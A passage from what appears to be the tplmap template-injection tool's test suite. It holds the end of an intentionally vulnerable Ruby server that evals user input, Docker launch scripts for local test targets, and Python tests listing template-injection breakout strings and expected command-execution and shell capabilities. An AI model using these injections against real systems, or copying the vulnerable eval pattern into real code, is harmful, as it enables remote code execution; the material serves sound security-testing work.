37 | tpl = tpl.gsub('%s', inj)
38 |
39 | case engine
40 | when "eval"
41 | eval(tpl)
42 | when "slim"
43 | template = Tilt['slim'].new() {|x| tpl}
44 | template.render
45 | when "erb"
46 | template = Tilt['erb'].new() {|x| tpl}
47 | template.render
48 | else
49 | res.write "blind #{engine} #{inj} #{tpl}"
50 | end
51 |
52 | res.write "ok"; # for set 200 response status code
53 |
54 | end
55 | end
56 | on 'shutdown' do
57 | exit!
58 | end
59 | end
60 | end
61 |
--------------------------------------------------------------------------------
/tests/run_channel_test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py"
4 | IMAGE_NAME="tplmap-py-img"
5 | PORT=15001
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15001/reflect/mako?inj=*
10 | http://localhost:15001/reflect/jinja2?inj=*
11 | http://localhost:15001/post/mako?inj=*
12 | http://localhost:15001/post/jinja2?inj=*
13 | http://localhost:15001/limit/mako?inj=*
14 | http://localhost:15001/limit/jinja2?inj=*
15 | http://localhost:15001/put/mako?inj=*
16 | http://localhost:15001/put/jinja2?inj=*
17 | "
18 |
19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
20 |
21 | docker rm -f $INSTANCE_NAME || echo ''
22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME
23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
24 |
25 | # Wait until the http server is serving
26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
27 | sleep 1
28 | done
29 |
30 | # Launch python engines tests
31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_channel*.py'
32 |
33 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_java_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-java"
4 | IMAGE_NAME="tplmap-java-img"
5 | PORT=15003
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15003/velocity?inj=*
10 | http://localhost:15003/velocity?inj=*&blind=1
11 | http://localhost:15003/freemarker?inj=*
12 | http://localhost:15003/freemarker?inj=*&blind=1
13 | "
14 |
15 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
16 |
17 | docker rm -f $INSTANCE_NAME || echo ''
18 | docker build -f docker-envs/Dockerfile.java . -t $IMAGE_NAME
19 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
20 |
21 | # Wait until the http server is serving
22 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
23 | sleep 1
24 | done
25 | sleep 1
26 |
27 | # Launch Java engines tests
28 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_java_*.py'
29 |
30 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_node_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-node"
4 | IMAGE_NAME="tplmap-node-img"
5 | PORT=15004
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15004/pug?inj=*
10 | http://localhost:15004/blind/pug?inj=*
11 | http://localhost:15004/nunjucks?inj=*
12 | http://localhost:15004/blind/nunjucks?inj=*
13 | http://localhost:15004/javascript?inj=*
14 | http://localhost:15004/blind/javascript?inj=*
15 | http://localhost:15004/dot?inj=*
16 | http://localhost:15004/blind/dot?inj=*
17 | http://localhost:15004/dust?inj=*
18 | http://localhost:15004/blind/dust?inj=*
19 | http://localhost:15004/marko?inj=*
20 | http://localhost:15004/blind/marko?inj=*
21 | http://localhost:15004/ejs?inj=*
22 | http://localhost:15004/blind/ejs?inj=*
23 | "
24 |
25 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
26 |
27 | docker rm -f $INSTANCE_NAME || echo ''
28 | docker build -f docker-envs/Dockerfile.node . -t $IMAGE_NAME
29 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
30 |
31 | # Wait until the http server is serving
32 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
33 | sleep 1
34 | done
35 |
36 | # Launch node engines tests
37 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_node_*.py'
38 |
39 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_php_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-php"
4 | IMAGE_NAME="tplmap-php-img"
5 | PORT=15002
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15002/smarty-3.1.32-secured.php?inj=*
10 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*
11 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*&blind=1
12 | http://localhost:15002/twig-1.24.1-secured.php?inj=*
13 | http://localhost:15002/eval.php?inj=*
14 | http://localhost:15002/eval.php?inj=*&blind=1
15 | "
16 |
17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
18 |
19 | docker rm -f $INSTANCE_NAME || echo ''
20 | docker build -f docker-envs/Dockerfile.php . -t $IMAGE_NAME
21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
22 |
23 | # Wait until the http server is serving
24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
25 | sleep 1
26 | done
27 |
28 | # Launch PHP engines tests
29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_php_*.py'
30 |
31 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_python2_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py2"
4 | IMAGE_NAME="tplmap-py2-img"
5 | PORT=15001
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15001/reflect/mako?inj=*
10 | http://localhost:15001/reflect/jinja2?inj=*
11 | http://localhost:15001/post/mako?inj=*
12 | http://localhost:15001/post/jinja2?inj=*
13 | http://localhost:15001/limit/mako?inj=*
14 | http://localhost:15001/limit/jinja2?inj=*
15 | http://localhost:15001/put/mako?inj=*
16 | http://localhost:15001/put/jinja2?inj=*
17 | "
18 |
19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
20 |
21 | docker rm -f $INSTANCE_NAME || echo ''
22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME
23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
24 |
25 | # Wait until the http server is serving
26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
27 | sleep 1
28 | done
29 |
30 | # Launch python engines tests
31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_py_*.py'
32 |
33 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_python3_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py3"
4 | IMAGE_NAME="tplmap-py3-img"
5 | GUESTPORT=15001
6 | PORT=15006
7 |
8 | echo "Exposed testing APIs:
9 |
10 | http://localhost:15006/reflect/mako?inj=*
11 | http://localhost:15006/reflect/jinja2?inj=*
12 | http://localhost:15006/post/mako?inj=*
13 | http://localhost:15006/post/jinja2?inj=*
14 | http://localhost:15006/limit/mako?inj=*
15 | http://localhost:15006/limit/jinja2?inj=*
16 | http://localhost:15006/put/mako?inj=*
17 | http://localhost:15006/put/jinja2?inj=*
18 | "
19 |
20 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
21 |
22 | docker rm -f $INSTANCE_NAME || echo ''
23 | docker build -f docker-envs/Dockerfile.python3 . -t $IMAGE_NAME
24 | docker run --rm --name $INSTANCE_NAME -p $PORT:$GUESTPORT -d $IMAGE_NAME
25 |
26 | # Wait until the http server is serving
27 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
28 | sleep 1
29 | done
30 |
31 | # Launch python engines tests
32 | docker exec -it $INSTANCE_NAME python2 -m unittest discover -v . 'test_py_*.py'
33 |
34 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/run_ruby_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-ruby"
4 | IMAGE_NAME="tplmap-ruby-img"
5 | PORT=15005
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15005/reflect/eval?inj=*
10 | http://localhost:15005/blind/eval?inj=*
11 | http://localhost:15005/reflect/slim?inj=*
12 | http://localhost:15005/blind/slim?inj=*
13 | http://localhost:15005/reflect/erb?inj=*
14 | http://localhost:15005/blind/erb?inj=*
15 | "
16 |
17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
18 |
19 | docker rm -f $INSTANCE_NAME || echo ''
20 | docker build -f docker-envs/Dockerfile.ruby . -t $IMAGE_NAME
21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
22 |
23 | # Wait until the http server is serving
24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
25 | sleep 1
26 | done
27 |
28 | # Launch ruby engines tests
29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_ruby_*.py'
30 |
31 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/tests/test_channel.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.mako import Mako
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | import utils.loggers
12 | import logging
13 |
14 | utils.loggers.stream_handler.setLevel(logging.FATAL)
15 |
16 | class ChannelTest(unittest.TestCase):
17 |
18 | expected_data = {
19 | 'language': 'python',
20 | 'engine': 'mako',
21 | 'evaluate' : 'python' ,
22 | 'execute' : True,
23 | 'write' : True,
24 | 'read' : True,
25 | 'trailer': '${%(trailer)s}',
26 | 'header': '${%(header)s}',
27 | 'render': '${%(code)s}',
28 | 'prefix': '',
29 | 'suffix': '',
30 | 'bind_shell' : True,
31 | 'reverse_shell': True
32 | }
33 |
34 | def test_post_reflection(self):
35 |
36 | template = '%s'
37 |
38 | channel = Channel({
39 | 'url' : 'http://127.0.0.1:15001/post/mako',
40 | 'force_level': [ 0, 0 ],
41 | 'data' : 'inj=*&othervar=1',
42 | 'injection_tag': '*',
43 | 'technique': 'R'
44 |
45 | })
46 | detect_template_injection(channel, [ Mako ])
47 | del channel.data['os']
48 | self.assertEqual(channel.data, self.expected_data)
49 |
50 | def test_url_reflection(self):
51 |
52 | channel = Channel({
53 | 'url' : 'http://127.0.0.1:15001/url/mako/AA*AA',
54 | 'force_level': [ 0, 0 ],
55 | 'injection_tag': '*',
56 | 'technique': 'R'
57 |
58 | })
59 |
60 | detect_template_injection(channel, [ Mako ])
61 | del channel.data['os']
62 | self.assertEqual(channel.data, self.expected_data)
63 |
64 | def test_header_reflection(self):
65 |
66 | template = '%s'
67 |
68 | channel = Channel({
69 | 'url' : 'http://127.0.0.1:15001/header/mako',
70 | 'force_level': [ 0, 0 ],
71 | 'headers' : [ 'User-Agent: *' ],
72 | 'injection_tag': '*',
73 | 'technique': 'R'
74 | })
75 | detect_template_injection(channel, [ Mako ])
76 | del channel.data['os']
77 | self.assertEqual(channel.data, self.expected_data)
78 |
79 | def test_put_reflection(self):
80 |
81 | template = '%s'
82 |
83 | channel = Channel({
84 | 'url' : 'http://127.0.0.1:15001/put/mako',
85 | 'data' : 'inj=*&othervar=1',
86 | 'request' : 'PUT',
87 | 'force_level': [ 0, 0 ],
88 | 'injection_tag': '*',
89 | 'technique': 'R'
90 | })
91 | detect_template_injection(channel, [ Mako ])
92 | del channel.data['os']
93 | self.assertEqual(channel.data, self.expected_data)
94 |
95 | def test_custom_injection_tag(self):
96 |
97 | template = '%s'
98 |
99 | channel = Channel({
100 | 'url' : 'http://127.0.0.1:15001/reflect/mako?tpl=%s&inj=~',
101 | 'force_level': [ 0, 0 ],
102 | 'injection_tag': '~',
103 | 'technique': 'R'
104 | })
105 | detect_template_injection(channel, [ Mako ])
106 |
107 | del channel.data['os']
108 | self.assertEqual(channel.data, self.expected_data)
109 |
110 |
111 | def test_reflection_multiple_point_tag(self):
112 |
113 | template = '%s'
114 |
115 | channel = Channel({
116 | 'url' : 'http://127.0.0.1:15001/reflect/mako?tpl=%s&asd=1&asd2=*&inj=*&inj2=*&inj3=*',
117 | 'force_level': [ 0, 0 ],
118 | 'injection_tag': '*',
119 | 'technique': 'R'
120 | })
121 | detect_template_injection(channel, [ Mako ])
122 |
123 | del channel.data['os']
124 | self.assertEqual(channel.data, self.expected_data)
125 |
126 | def test_reflection_multiple_point_no_tag(self):
127 |
128 | channel = Channel({
129 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj=asd&inj2=asd2',
130 | 'force_level': [ 0, 0 ],
131 | 'injection_tag': '*',
132 | 'technique': 'R'
133 | })
134 | detect_template_injection(channel, [ Mako ])
135 |
136 | del channel.data['os']
137 | self.assertEqual(channel.data, self.expected_data)
138 |
139 | def test_no_reflection(self):
140 |
141 | channel = Channel({
142 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj2=asd2',
143 | 'force_level': [ 0, 0 ],
144 | 'injection_tag': '*',
145 | 'technique': 'RT'
146 | })
147 | detect_template_injection(channel, [ Mako ])
148 |
149 | self.assertEqual(channel.data, {})
150 |
151 | def test_reflection_point_startswith(self):
152 |
153 | channel = Channel({
154 | 'url' : 'http://127.0.0.1:15001/startswith/mako?inj=thismustexists*&startswith=thismustexists',
155 | 'force_level': [ 0, 0 ],
156 | 'injection_tag': '*',
157 | 'technique': 'R'
158 | })
159 | detect_template_injection(channel, [ Mako ])
160 |
161 | del channel.data['os']
162 | self.assertEqual(channel.data, self.expected_data)
163 |
164 | def test_reflection_point_dont_startswith(self):
165 |
166 | channel = Channel({
167 | 'url' : 'http://127.0.0.1:15001/startswith/mako?inj=*&startswith=thismustexists',
168 | 'force_level': [ 0, 0 ],
169 | 'injection_tag': '*',
170 | 'technique': 'R'
171 | })
172 | detect_template_injection(channel, [ Mako ])
173 |
174 | self.assertEqual(channel.data, {})
175 |
176 |
177 | def test_quotes(self):
178 |
179 | channel = Channel({
180 | 'url' : 'http://127.0.0.1:15001/reflect/mako?inj=asd',
181 | 'force_level': [ 0, 0 ],
182 | 'injection_tag': '*',
183 | 'technique': 'RT'
184 | })
185 | obj = detect_template_injection(channel, [ Mako ])
186 |
187 | result = obj.execute("""echo 1"2"'3'\\"\\'""")
188 | self.assertEqual(result, """123"'""")
189 |
190 | channel = Channel({
191 | 'url' : 'http://127.0.0.1:15001/blind/mako?inj=asd',
192 | 'force_level': [ 0, 0 ],
193 | 'injection_tag': '*',
194 | 'technique': 'RT'
195 | })
196 | obj = detect_template_injection(channel, [ Mako ])
197 |
198 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'"""))
199 |
200 | def test_auth_reflection(self):
201 |
202 | channel = Channel({
203 | 'url' : 'http://localhost:15001/reflect_cookieauth/mako?inj=asd*',
204 | 'force_level': [ 0, 0 ],
205 | 'headers' : [ 'Cookie: SID=SECRET' ],
206 | 'injection_tag': '*',
207 | 'technique': 'R'
208 | })
209 | detect_template_injection(channel, [ Mako ])
210 |
211 | del channel.data['os']
212 | self.assertEqual(channel.data, self.expected_data)
213 |
214 | def test_wrong_auth_reflection(self):
215 |
216 | channel = Channel({
217 | 'url' : 'http://localhost:15001/reflect_cookieauth/mako?inj=asd*',
218 | 'force_level': [ 0, 0 ],
219 | 'headers' : [ 'Cookie: SID=WRONGSECRET' ],
220 | 'injection_tag': '*',
221 | 'technique': 'R'
222 | })
223 | detect_template_injection(channel, [ Mako ])
224 |
225 | self.assertEqual(channel.data, {})
--------------------------------------------------------------------------------
/tests/test_java_freemarker.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 |
6 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
7 | from plugins.engines.freemarker import Freemarker
8 | from basetest import BaseTest
9 |
10 | class FreemarkerTest(unittest.TestCase, BaseTest):
11 |
12 |
13 | expected_data = {
14 | 'language': 'java',
15 | 'engine': 'freemarker',
16 | 'execute' : True,
17 | 'trailer': '${%(trailer)s?c}',
18 | 'header': '${%(header)s?c}',
19 | 'render': '%(code)s',
20 | 'write': True,
21 | 'read': True,
22 | 'prefix' : '',
23 | 'suffix' : '',
24 | 'bind_shell' : True,
25 | 'reverse_shell': True
26 | }
27 |
28 | expected_data_blind = {
29 | 'language': 'java',
30 | 'engine': 'freemarker',
31 | 'blind': True,
32 | 'execute_blind' : True,
33 | 'write': True,
34 | 'prefix' : '',
35 | 'suffix' : '',
36 | 'bind_shell' : True,
37 | 'reverse_shell': True
38 | }
39 |
40 | url = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s'
41 | url_blind = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s&blind=1'
42 |
43 | plugin = Freemarker
44 |
45 | blind_tests = [
46 | (0, 0, 'AAA%sAAA', {}),
47 | (5, 5, '<#list %s as a>#list>', { 'prefix' : '[1] as a>#list><#list [1] as a>', 'suffix' : ''}),
48 | ]
49 |
50 | reflection_tests = [
51 | (0, 0, '%s', {}),
52 | (0, 0, 'AAA%sAAA', {}),
53 | (1, 0, '${ %s }', { 'prefix': '1}', 'suffix': '' }),
54 |
55 | (2, 1, '<#assign s = %s>', { 'prefix': '1>', 'suffix': '' }),
56 | (5, 1, '<#-- %s -->', { 'prefix': '-->', 'suffix': '<#--' }),
57 | (2, 1, '<#if 1 == %s>#if>', { 'prefix': '1>', 'suffix' : ''}),
58 | (2, 2, '<#if %s == 1>#if>', { 'prefix': 'true>', 'suffix' : ''}),
59 | (5, 3, '<#list [%s] as a>#list>', { 'prefix' : '1] as a>#list><#list [1] as a>', 'suffix' : ''}),
60 | (5, 5, '<#list %s as a>#list>', { 'prefix' : '[1] as a>#list><#list [1] as a>', 'suffix' : ''}),
61 | (1, 5, '<#assign ages = {"J":2, "%s":2}>', { 'prefix' : '1":1}]}', 'suffix' : ''}),
62 |
63 | #(1, 5, '${[1,2]%3Fjoin(%s)}', { 'prefix' : '[1])}', 'suffix' : ''}),
64 |
65 | ]
66 |
--------------------------------------------------------------------------------
/tests/test_java_velocity.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.velocity import Velocity
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 | class VelocityTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'java',
17 | 'engine': 'velocity',
18 | 'execute' : True,
19 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n',
20 | 'header': '\n#set($h=%(header)s)\n${h}\n',
21 | 'render': '%(code)s',
22 | 'write': True,
23 | 'read': True,
24 | 'prefix' : '',
25 | 'suffix' : '',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'java',
32 | 'engine': 'velocity',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'write': True,
36 | 'prefix' : '',
37 | 'suffix' : '',
38 | 'bind_shell' : True,
39 | 'reverse_shell': True
40 | }
41 |
42 | url = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s'
43 | url_blind = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s&blind=1'
44 |
45 | plugin = Velocity
46 |
47 | blind_tests = [
48 | (0, 0, 'AAA%sAAA', {}),
49 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, '#set( $a = "%s" )', { 'prefix' : '1")', 'suffix': ''}),
56 | (1, 0, '#if(1 == %s)\n#end', { 'prefix' : '1)', 'suffix': ''}),
57 | (3, 1, '#if(%s == 1)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}),
58 | (3, 1, '#foreach($item in %s)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}),
59 | (0, 0, '## comment %s', { }),
60 | # TODO: fix those, they used to work
61 | #(5, 0, '#[[%s]]# ', { }),
62 | (0, 0, '${%s}', {}),
63 | (0, 0, '${(%s)}', {}),
64 | (3, 1, '#define( %s )a#end', { 'prefix': '1)#end#if(1==1)', 'suffix' : ''}),
65 | (3, 1, '#define( $asd )%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
66 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
67 | ]
68 |
69 |
70 | def test_custom_injection_tag(self):
71 |
72 | template = '#* %s *#'
73 |
74 | channel = Channel({
75 | 'url' : self.url.replace('*', '~') % template,
76 | 'force_level': [ 5, 0 ],
77 | 'injection_tag': '~',
78 | 'technique': 'RT'
79 | })
80 |
81 | detect_template_injection(channel, [ self.plugin ])
82 |
83 | expected_data = self.expected_data.copy()
84 | expected_data.update({ 'prefix': '*#', 'suffix' : '#*'})
85 |
86 | del channel.data['os']
87 |
88 | self.assertEqual(channel.data, expected_data)
--------------------------------------------------------------------------------
/tests/test_node_dot.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.dot import Dot
9 | from basetest import BaseTest
10 |
11 |
12 | class DotTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'dot',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': '{{=%(code)s}}',
24 | 'header': '{{=%(header)s}}',
25 | 'trailer': '{{=%(trailer)s}}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'dot',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/dot?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/dot?inj=*&tpl=%s'
45 | plugin = Dot
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 1, "{{ %s }}", { 'prefix': '1;}}', 'suffix' : '{{1;' }),
56 | ]
--------------------------------------------------------------------------------
/tests/test_node_dust.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.dust import Dust
9 | from basetest import BaseTest
10 |
11 |
12 | class DustTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'dust',
17 | 'write' : True,
18 | 'execute_blind' : True,
19 | 'prefix' : '',
20 | 'suffix': '',
21 | 'header': '%s',
22 | 'trailer': '%s',
23 | 'bind_shell' : True,
24 | 'reverse_shell': True,
25 | 'blind': True,
26 | 'evaluate_blind': 'javascript'
27 | }
28 |
29 | expected_data_blind = {
30 | 'language': 'javascript',
31 | 'engine': 'dust',
32 | 'blind': True,
33 | 'execute_blind' : True,
34 | 'write': True,
35 | 'prefix' : '',
36 | 'suffix' : '',
37 | 'bind_shell' : True,
38 | 'reverse_shell': True,
39 | 'evaluate_blind': 'javascript'
40 | }
41 |
42 | url = 'http://127.0.0.1:15004/dust?inj=*&tpl=%s'
43 | url_blind = 'http://127.0.0.1:15004/blind/dust?inj=*&tpl=%s'
44 | plugin = Dust
45 |
46 |
47 | blind_tests = [
48 | (0, 0, 'AAA%sAAA', {}),
49 | (0, 0, '{%s|s}', { }),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (0, 0, '{%s}', { }),
56 | (0, 0, '{%s|s}', { }),
57 | (1, 0, '{!%s!}', { 'prefix' : '!}', 'suffix' : '{!' })
58 | ]
59 |
60 | def test_upload(self):
61 | pass
62 |
63 | def test_download(self):
64 | pass
--------------------------------------------------------------------------------
/tests/test_node_ejs.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.ejs import Ejs
9 | from basetest import BaseTest
10 |
11 |
12 | class EjsTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'ejs',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': """%(code)s""",
24 | 'header': """<%%- '%(header)s'+""",
25 | 'trailer': """+'%(trailer)s' %%>""",
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'ejs',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/ejs?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/ejs?inj=*&tpl=%s'
45 | plugin = Ejs
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, "<% %s %>", { 'prefix': '1%>', 'suffix' : '<%#' }),
56 | (1, 1, "<% '%s' %>", { 'prefix': "1'%>", 'suffix' : '<%#' }),
57 | (1, 1, '<% "%s" %>', { 'prefix': '1"%>', 'suffix' : '<%#' }),
58 | (1, 0, '<%= %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
59 | (1, 0, '<%- %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
60 | (1, 0, '<%# %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
61 | (1, 0, '<%_ %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
62 | (1, 0, '<% %s -%>', { 'prefix': '1%>', 'suffix' : '<%#' }),
63 | (1, 0, '<% %s _%>', { 'prefix': '1%>', 'suffix' : '<%#' }),
64 | (2, 1, "<%- include('/etc/resolv.conf%s') %>", { 'prefix': "')%>", 'suffix' : '<%#' }),
65 | (2, 2, '<%- include("/etc/resolv.conf%s") %>', { 'prefix': '")%>', 'suffix' : '<%#' }),
66 | (3, 0, "<% 456/* AAA %s */-123 %>", { 'prefix': '*/%>', 'suffix': '<%#' }),
67 | ]
68 |
--------------------------------------------------------------------------------
/tests/test_node_javascript.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.javascript import Javascript
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class JavascriptTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'javascript',
18 | 'engine': 'javascript',
19 | 'evaluate' : 'javascript' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """%(code)s""",
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'javascript',
34 | 'engine': 'javascript',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'javascript',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://127.0.0.1:15004/javascript?inj=*&tpl=%s'
46 | url_blind = 'http://127.0.0.1:15004/blind/javascript?inj=*&tpl=%s'
47 | plugin = Javascript
48 |
49 |
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
53 | ]
54 |
55 | reflection_tests = [
56 | (0, 0, '%s', {}),
57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
59 | ]
60 |
61 | def test_custom_injection_tag(self):
62 |
63 | template = '/* %s */'
64 |
65 | channel = Channel({
66 | 'url' : self.url.replace('*', '~') % template,
67 | 'force_level': [ 5, 0 ],
68 | 'injection_tag': '~',
69 | 'technique': 'RT'
70 | })
71 |
72 | detect_template_injection(channel, [ self.plugin ])
73 |
74 | expected_data = self.expected_data.copy()
